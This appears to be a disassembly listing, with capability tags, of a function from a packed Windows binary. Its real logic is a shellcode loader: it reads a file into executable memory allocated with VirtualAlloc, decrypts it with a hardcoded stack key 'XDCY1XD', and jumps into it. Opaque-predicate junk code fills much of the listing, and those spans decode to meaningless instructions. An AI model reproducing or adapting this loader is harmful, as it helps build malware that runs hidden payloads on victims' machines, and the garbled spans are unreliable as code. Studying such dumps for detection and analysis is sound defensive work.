Function at 0x140005610
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Packed with generic packer
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
xor eax, eax
test eax, eax
je 0x140005830
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
hlt
xor eax, eax
test eax, eax
je 0x140005a47
nop
nop
nop
nop
nop
nop
je 0x140005847
jne 0x14000583b
jmp 0x14000584f
lea ecx, [rdi + rcx*8]
mov dword [rsp + 8], ecx
mov r13, qword [r15 + 0x69]
mov ebp, dword [rdi + 0x69]
outsb dx, byte [rsi]
je 0x1400058ba
jb 0x140005883
push rbx
jns 0x1400058cd
je 0x1400058c1
insd dword [rdi], dx
push rdx
je 0x140005861
add byte [rax], al
add cl, byte [rcx]
insb byte [rdi], dx
insb byte [rdi], dx
push 0x6c646e61
add al, byte gs:[rax]
push rbp
sti
and dl, 0xfc
mov eax, dword [rbp - 4]
call 0x13ff8cc94
xor eax, eax
pop rdx
sub byte [rsp + rbp*2], ch
sub byte [rsp + rbp*2], ch
sub byte [rsp + rbp*2], ch
sub byte [rsp + rbp*2], ch
jmp 0x13ff95d94
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add cl, ch
inc dword [rcx + rdi*8]
invalid
insb byte [rdi], dx
stosb byte [rdi], al
push rax
jmp 0x1400063bb
test byte [rdx], 0
add byte [rbx - 0x3874f3ab], cl
call 0x13fffe940
mov dx, word [0x14067800e]
call 0x13fd9b698
add esp, 4
mov eax, dword [rbp + 0x53]
mov ebx, eax
lea eax, [rbx + 0x45]
mov dword [rbx + 0x14], eax
xor eax, eax
mov dword [rbx + 0x18], eax
lea eax, [rbx + 0xf]
mov dh, 0x45
sbb al, 4
invalid
invalid
xor eax, eax
test eax, eax
je 0x140005c5e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [rax], edx
push 0x5c512c
lea eax, [rbp - 8]
mov edx, 2
call 0x1a556d1e8
jb 0x140005aea
push rbx
invalid
add byte [rax], al
test al, al
je 0x140005afa
pop rbp
cld
wait
jmp 0x140005b81
clc
mov eax, dword [rax + 8]
mov dword [rbp], eax
add bh, bh
jmp qword [rbx]
add byte [rdx], dh
imul eax, dword [rax], 0x750062
je 0x140005b8c
add byte gs:[rax], ah
add byte [rax], al
lodsb al, byte [rsi]
adc edx, dword [rcx]
nop
add byte [rax], al
inc byte [rcx]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add eax, dword [rsp + 0x30]
adc edx, dword [rsp + 0x34]
mov dword [rsi + 0xa0], eax
or byte [rbx + 0x12740038], al
mov eax, dword [rbp - 0x11]
add eax, 4
mov edx, dword [rax]
mov eax, dword [rbp + 0x61]
jb 0x140005c28
outsb dx, byte [rsi]
je 0x140005c09
outsd dx, dword [rsi]
insb byte [rdi], dx
outsd dx, dword [rsi]
jb 0x140005bcd
add byte [rdx], al
add byte [0x1894661d3], ch
outsb dx, byte [rsi]
js 0x140005bda
add byte [rax], al
add byte [rdx], al
add byte [rsi - 0x75bbac9b], ch
or byte [rbx + 0xa88f855], cl
inc dword [rbp - 8]
dec dword [rbp - 0x1c]
add byte [rbp + rbp + 0x6d0050], bh
add bh, bh
or byte [0x140015c50], dl
add bl, al
call 0x13ffffca8
mov eax, ebx
call fcn.140006d50
test al, al
je 0x140005bb9
adc dword [r8], eax
add byte [rax + rax*8 + 0x43c4a874], al
add byte [0x1a669c46c], al
je 0x140005c1d
invalid
add byte [rax], al
pushfq
adc byte [rax - 0x1b], al
dec dword [rbx - 0x419903bb]
movabs dword [0xc084ffe5ab32e8ff], eax
mov al, 4
add al, byte [rax]
invalid
mov dword [rsp + 0x44], 0
xor eax, eax
test eax, eax
je 0x140005e7d
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
or byte [rax], al
add dword [rax], ecx
shr ch, 1
add byte [rax], al
add byte [rbx], bh
retf
mul edi
call qword [rbp - 0x75]
in al, dx
push 0
push rbx
push rsi
mov esi, edx
mov ebx, eax
xor eax, eax
push rbp
push 0x496d842a
add byte [rbx], al
or eax, 0x73694454
jo 0x140005e9d
je 0x140005ea1
push 0xffffffffe9f1754b
ret 3
test r15, r15
jl 0x144466209
test eax, eax
je 0x140005e5b
sub eax, 4
mov eax, dword [rax]
cmp eax, ebx
jg 0x140005e1d
xor eax, dword [rax]
add al, byte [rax]
add dword [rcx], eax
add al, byte [rax]
add al, byte [rax]
add byte [r12 + r15*8 + 0x4e], bpl
add byte [rdi], al
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
test eax, eax
je 0x140006094
nop
nop
nop
nop
nop
nop
nop
nop
nop
movabs eax, dword [0xe8fc558b006cec54]
add edx, dword [rdi + rdi*8 + 0x595b5eff]
pop rsi
pop rbx
pop rcx
sub eax, 0x110062e3
jrcxz 0x140005f05
add byte [rcx], dl
jrcxz 0x140005f09
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x18], bh
add byte [rdi + rdx - 0xa], dh
adc byte [r8 - 0x2c74ee8c], al
test edx, edx
je 0x140005e49
out 0xe9, al
jnp 0x140005ec8
add byte [rax], al
mov edx, dword [rbp + 0x14]
mov eax, edi
call 0x127e930f4
cmpsb byte [rsi], byte [rdi]
idiv bh
ret
hlt
add byte [rax], al
add byte [rcx - 0xbf0609], bl
mov eax, dword [rbp - 0x30]
mov edx, dword [rax]
call qword [rdx + 0x24]
test al, al
jne 0x140005f27
mov eax, dword [rbp - 8]
jae 0x140005f95
invalid
and byte [rbx + 0x74], dl
jb 0x140005f95
outsb dx, byte [rsi]
sub dword [edx], edi
and byte [rax], al
outsd dx, dword [rsi]
add byte [rsi], ah
and byte [rax], al
outsd dx, dword [rsi]
add byte [rbp], dh
jb 0x140005f3e
and byte [rax], al
jb 0x140005fa3
invalid
invalid
inc dword [rax]
add eax, edx
mov edx, dword [rax]
mov dword [rsp], edx
mov edx, dword [rax + 4]
mov dword [rax], edi
mov dl, 1
movabs eax, dword [0xf5ab33e8004ec3e0]
dec dword [rcx + 0x6c65ec45]
add al, byte [rax]
or dh, byte [rdx + rax*2 + 0x2004a]
or al, byte [rbx + 0x6f]
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rbx], al
outsd dx, dword [rsi]
jbe 0x140005fda
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rbx], al
or byte [rbx - 0x37c7430], cl
add al, byte [rax]
add bh, bh
xchg ebx, eax
clc
add al, byte [rax]
add byte [rbx - 0x3d], bl
add dword [rax], eax
add byte [rax], al
and al, byte [rax]
add byte [rax], al
mov al, 4
add al, byte [rax]
add byte [rax], al
or byte [rax], al
add ecx, dword [rax]
mov edx, eax
mov eax, dword [rbx + 0x2fc]
call qword [rbx + 0x2f8]
pop rbx
ret
xor eax, eax
test eax, eax
je 0x1400062ab
nop
nop
jmp 0x140006094
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x1400062f4
xor eax, eax
jmp 0x140007f68
xor eax, eax
test eax, eax
je 0x14000650b
nop
nop
insb byte [rdi], dx
push rsp
push 0x73656d65
push rsp
insd dword [rdi], dx
jae 0x140006337
push rsp
push rbx
jns 0x140006380
push rbx
je 0x140006389
add spl, sil
call qword [rbx]
sbb al, 0x44
add byte [rdx], al
hlt
out dx, al
fdivp st(7)
test eax, eax
jne 0x140006348
mov eax, 0x5018439c
lea eax, [rsp + 4]
push rax
mov esi, dword [rbx + 4]
mov eax, esi
call 0x1896cd810
outsb dx, byte [rsi]
outsw dx, word [rsi]
outsd dx, dword [rsi]
add byte ds:[rbx], al
or byte [rsi], al
push rbx
outsb dx, byte gs:[rsi]
jb 0x140006305
ror dword [rcx], 0x44
ret
mov eax, 0xe8004fc2
mov edi, 0xc084fff0
test al, al
je 0x1400063bf
cmp di, word [rbx + 0x59e80000]
jrcxz 0x140006396
inc dword [rbx + 0x4e]
jne 0x140006354
jne 0x140006354
xor eax, eax
pop rdx
pop rcx
pop rcx
invalid
cld
mov ebx, edx
mov esi, eax
jne 0x1400063d7
invalid
mov eax, dword [rdi + 0xc]
mov edx, dword [rbp + 8]
mov edx, dword [rdx - 4]
cmp eax, dword [rdx + 0xb0]
cmp al, 0x1e
add byte [r15], r8b
jae 0x14000644e
jae 0x14000644e
jb 0x14000644b
jns 0x1400063e1
add byte [rax], al
dec dword [rbx + 0x4438dd6]
mov edx, esi
lea eax, [rbx + 4]
call 0x13fe79ac0
pop rsi
pop rbx
ret
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add al, byte [rax]
add al, byte [rax]
add byte [rax], al
add byte [rsi + rdi*8 + 0x2c070064], bl
push rsp
rcl byte [r13 + 0x68], 0x6e
xchg byte [rdi], ah
push qword fs:[rax]
mov dword fs:[rax], esp
lea eax, [rbx + 0x1c]
jp 0x140006472
add byte [rax], al
add dword [rdx], eax
add byte [rdx], al
add byte [rax], al
add byte [rax], al
pushfq
invalid
add byte gs:[rsi], al
insb byte [rdi], dx
add byte [rcx], ah
je 0x14000647c
push rbx
add byte [rdx], al
outsd dx, dword [rsi]
invalid
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xffffffff
jne 0x140006535
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140007f68
xor eax, eax
test eax, eax
je 0x14000674c
nop
insb byte [rdi], dx
add al, byte [rax]
add byte [rax + rdx + 0x10040], bl
or byte [rbx + 0x75], al
jb 0x1400065a4
push rsi
cmp word [rax + 0x2c2], 0
je 0x14000656f
mov ebx, eax
mov edx, eax
add cl, byte [rax]
cmp al, 0x26
add byte [rax], r8b
add byte [rbx + rdx*2], al
insb byte [rdi], dx
add al, byte [rax]
or al, byte [rdx]
add byte [rax + 0xc], al
invalid
cld
call 0x13ffe9218
mov eax, dword [rax + 4]
mov eax, dword [rax + rsi*4]
call 0x13ff68be4
mov al, 0xe8
cmp ah, byte [rsi]
idiv bh
jne 0x140006599
mov eax, dword [rbp + 0x49]
je 0x140006618
insd dword [rdi], dx
add eax, dword [rax]
cwde
xlatb
add byte [rax], r9b
add byte [rbx], al
or al, al
pop rax
push 0
push 0
mov eax, ebx
call fcn.14003ea10
push rax
call 0x141eda6a8
add bh, bh
inc dword [rdx]
add byte [rax], al
add ah, cl
add eax, 0xfffffff4
push rax
mov eax, dword [rax]
mov eax, dword [rax]
add byte [rax], cl
add byte [rcx], al
or byte [rax + rsi*2], ch
pop rax
add byte [rax], al
add byte [rbx + rdx*2], al
insb byte [rdi], dx
sbb rcx, qword [rbx - 0x172dccfd]
enter 0xffffffffffffffed, 0xffffffffffffffff
jmp 0x14000671d
invalid
mov ebp, esp
push rcx
fcom dword [r8 + 0x6a]
sub eax, 0x8bd8458b
or byte [rax + rax - 0x17b00000], 0xe8
iretd
mov eax, dword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140006785
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140007f68
xor eax, eax
test eax, eax
je 0x14000699c
nop
fimul dword [rbx - 0x17397410]
mov es, word [rax]
add byte [rax], al
mov eax, dword [rsi + 0x28]
call 0xcbc22874
retf 0xe9c1
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400069e8
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140007f68
xor eax, eax
test eax, eax
je 0x140006bff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jb 0x140006a64
ja 0x140006a6e
outsb dx, byte [rsi]
push rbx
je 0x140006a83
insb byte [rdi], dx
add al, byte gs:[rax]
add ah, ch
add al, byte [rax]
sub byte [rax], al
sub byte [rsp + rbp*2], ch
or byte [rbp + 0x6f], cl
jbe 0x140006a82
js 0x140006a96
outsb dx, byte [rsi]
invalid
hlt
pop rdi
pop rsi
pop rbx
ret
dec dword [rbx + 0x11000000]
add byte [rax], al
add byte [rax + rdx*2], cl
push rbp
add byte [rdi], cl
je 0x140006af0
push rdx
inc dword gs:[rcx]
jge 0x140006a88
add al, 0xb0
add ebx, ebp
adc ecx, dword [rbx + 0x8bf345]
mov al, 1
jmp 0x140006a9b
mov eax, dword [rbp - 0xd]
mov eax, dword [rax]
test eax, eax
je 0x140006a4d
xchg dword [rax], eax
rol byte [rdi - 0x783bffc0], 0x40
add spl, al
xchg dword [rax], eax
mov eax, 0xff004087
add byte [rax - 0xffbf79], bh
dec dword [rbx + 0x26e80c53]
cli
invalid
or eax, 0x8b18468b
ror dword [rbx - 0x6b6e00f8], cl
add byte [rax], al
add byte [rsi + 0x5b], bl
push 0x3cade800
clc
dec dword [rbp + 0x14a1cc55]
in eax, dx
insb byte [rdi], dx
add byte [rbx + 0x10], cl
push rsp
push r11
push r11
push rbp
push 0x4aba28
push qword fs:[rax]
mov dword fs:[rax], esp
mov eax, dword [rbp - 8]
call 0xcc00641f
mov r12b, 0x89
rol r14b, 0x45
invalid
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x48], eax
je 0x140006c2e
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140007f68
xor eax, eax
test eax, eax
je 0x140006e45
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rax], cl
add byte [rcx], al
or byte [rdi + rax*4], ah
pop rbp
add byte [rax], al
add byte [rbx + rdx*2], al
fsub qword gs:[rbp + 0x47]
add ah, dl
add byte gs:[r8 + 0x74], r9b
add r12b, r13b
movabs al, byte [0x55d254080053]
add byte [rbx + rdx*2], al
insb byte [rdi], dx
add al, byte [rax]
add al, byte [rax]
pop rax
fst qword [rdi]
add byte [rax], al
add eax, dword [rax]
jrcxz 0x140006cf6
push rsi
add byte [rbp], cl
invalid
xchg ecx, eax
add byte [rax], al
add byte [rbx - 0x11707bb], cl
std
sldt word [rax]
add byte [rsi + 0x49], al
push r10
push r10
pop r8
add byte [r8], al
jmp [rdi + riz*4]
xor eax, eax
test eax, eax
je 0x14000705c
nop
add byte [rcx], al
add byte [0x1b56ccfaf], al
add al, byte gs:[rax]
add al, byte [rax]
cmp byte [rax], al
add byte [rbx + 0x1142d03], cl
add byte [rax], al
je 0x140006f2c
sub eax, 0xb2006cf9
add dword [rcx + 0x494aa0], esp
call 0x13ff921ac
ret
movabs byte [0xb8004087c46d673d], al
xchg dword [rax], eax
in al, 0x83
add byte [rax], al
test byte [rax], al
mov bl, 0xf5
call qword [rax - 0x75]
in al, dx
call 0x13ff622a4
lea edx, [rbp - 0x30]
pop rcx
cld
push rax
mov ecx, edi
mov edx, 1
mov eax, dword [rbp - 4]
call 0x13ffa2468
pop rsi
pop rbx
mov esp, ebp
pop rbp
ret 0x10
xor eax, eax
test eax, eax
je 0x140007273
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x14000707c
or cl, byte [rbx + 0x2723e8c6]
jrcxz 0x140007078
mov eax, esi
call 0x13fe3979c
call [rsi + 0x5b]
pop rsi
pop rbx
ret
mov eax, esi
mov edx, dword [rbx]
xchg byte [rax + rax + 0x468b0000], al
jo 0x140007071
mov bh, 0x17
out 0xff, eax
mov eax, esi
call 0x13f007098
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
call fcn.14000d835
add byte [rax], al
add byte [rsi], al
lea esp, [rdi]
push rbp
mov ebp, esp
push rcx
push rbx
push rsi
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
cmp dword [rax + 0x58], 0
jae 0x140007136
and byte [rdx + 0x6f], dl
outsd dx, dword [rsi]
je 0x140007113
jns 0x140007105
and byte [rcx + 0x6e], cl
je 0x140007135
add byte [rdx], dl
je 0x140007119
jne 0x14000714a
jb 0x14000713f
outsb dx, byte [rsi]
je 0x14000712d
outsd dx, dword [rsi]
jae 0x140007149
jne 0x140007154
push rax
invalid
add byte [rax + rdx + 0x10040], bl
add eax, 0x15646e49
adc eax, 0x7070707
invalid
invalid
invalid
cwde
push rax
add byte [rax], al
enter 0x4026, 0
add byte [rax + rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov eax, dword [rax + rdi*8]
mov eax, dword [rax]
add byte [rbx + 0x8bf804], cl
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jge 0x14000715a
jge 0x14000713f
hlt
add byte [rbp + 0xc], bh
movzx edi, bh
mov ebp, eax
jmp 0x14000718c
invalid
push rsp
and al, 8
mov eax, esi
call 0x18475718c
jmp 0x14000716a
mov eax, dword [rsp + 0xc]
or word [rbx - 0x74297428], 0xffc3
call 0x140007144
pop rsi
pop rbx
ret
pop rsi
add byte [rdx], dl
movsd dword [rdi], dword [rsi]
jne 0x1400071eb
mov eax, ebx
call fcn.14000363c
test al, al
je 0x1400071eb
mov eax, dword [rbx + 8]
pop rsi
add dh, dl
pop rsi
add byte [rbp + 0x65], dl
pop rsi
add byte [rbp + 0x65], dl
pop rsi
add byte [rbp + 0x65], dl
add byte [rdx], ah
adc al, 0x74
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x6e], ah
add al, byte fs:[eax]
add byte [rsp + riz*4 + 0x59], ch
add al, ch
add al, byte [rax]
add byte [rbx + rcx - 0x75], dh
push rbp
invalid
mov byte [rsp + 0x50], 0x58
mov byte [rsp + 0x51], 0x44
mov byte [rsp + 0x52], 0x43
mov byte [rsp + 0x53], 0x59
mov byte [rsp + 0x54], 0x31
mov byte [rsp + 0x55], 0x58
mov byte [rsp + 0x56], 0x44
mov byte [rsp + 0x57], 0
xor eax, eax
test eax, eax
je 0x1400074b2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [rsp + 0x40]
lea r8, [rsp + 0x50]
mov edx, eax
mov rcx, qword [rsp + 0x60]
call fcn.1400048d0
xor eax, eax
test eax, eax
je 0x1400076de
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add al, 0
add byte [rbx], al
add byte [rsi + rax*2], dl
push rbp
jae 0x14000754f
jb 0x140007535
outsb dx, byte [rsi]
outsw dx, word [rsi]
push rbx
adc byte [rax], al
fadd dword [rax]
add byte [rax], al
adc al, byte [rsi + 0x41]
invalid
push rbx
push 0x536c6c65
invalid
mov ebp, dword [rax]
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], al
add byte [rax + 0x4307ffff], al
jne 0x1400075db
jb 0x1400075d0
outsb dx, byte [rsi]
je 0x14000756e
add byte [rax], al
add byte [rax + rax*2 + 0x51e6b800], al
add al, bl
invalid
push rsi
add byte [rax], ch
invalid
jns 0x140007650
je 0x140007644
insd dword [rdi], dx
sub byte [rax + 1], bh
shl eax, cl
push rax
mov edx, dword [rdi + 0x28]
push rdx
call qword [rdi + 0x20]
jb 0x14000763b
outsb dx, byte [rsi]
js 0x1400075f9
add byte [rax], al
pushfq
adc byte [rax], al
add al, byte [rax]
or byte [rax], dh
mov dword fs:[rax], esp
mov eax, dword [rbp + 0x14]
push rax
mov eax, dword [rbp + 8]
push rax
lea edx, [rbp - 4]
mov eax, dword [rcx]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], 0
add byte [rax + 0x4f090046], al
pop rax
add al, 0xeb
add dh, byte [rbx]
fist dword [rbx - 0x75]
ror dword [rbx - 0x2a7173a], cl
invalid
mov esp, ebp
pop rbp
ret
add byte [rax], al
add byte [rax], al
xor byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x55], bl
add al, 0x53
lahf
push rbp
add byte [rax], al
add byte [rbx + rdx*2], al
insb byte [rdi], dx
add al, byte [rax]
add ah, ch
push r13
jb 0x1400076cf
invalid
add byte [rax - 0x6f6f6f70], dl
nop
nop
nop
nop
nop
nop
nop
nop
nop
call qword [rsp + 0x60]
xor eax, eax
test eax, eax
je 0x1400078f9
nop
nop
nop
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc byte [rax - 0x75], dl
or al, 0x50
mov eax, dword [rbp + 8]
push rax
movzx eax, bl
mov eax, dword [rsi + rax*4 - 1]
mov eax, dword [rbp - 0x18c]
push rax
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]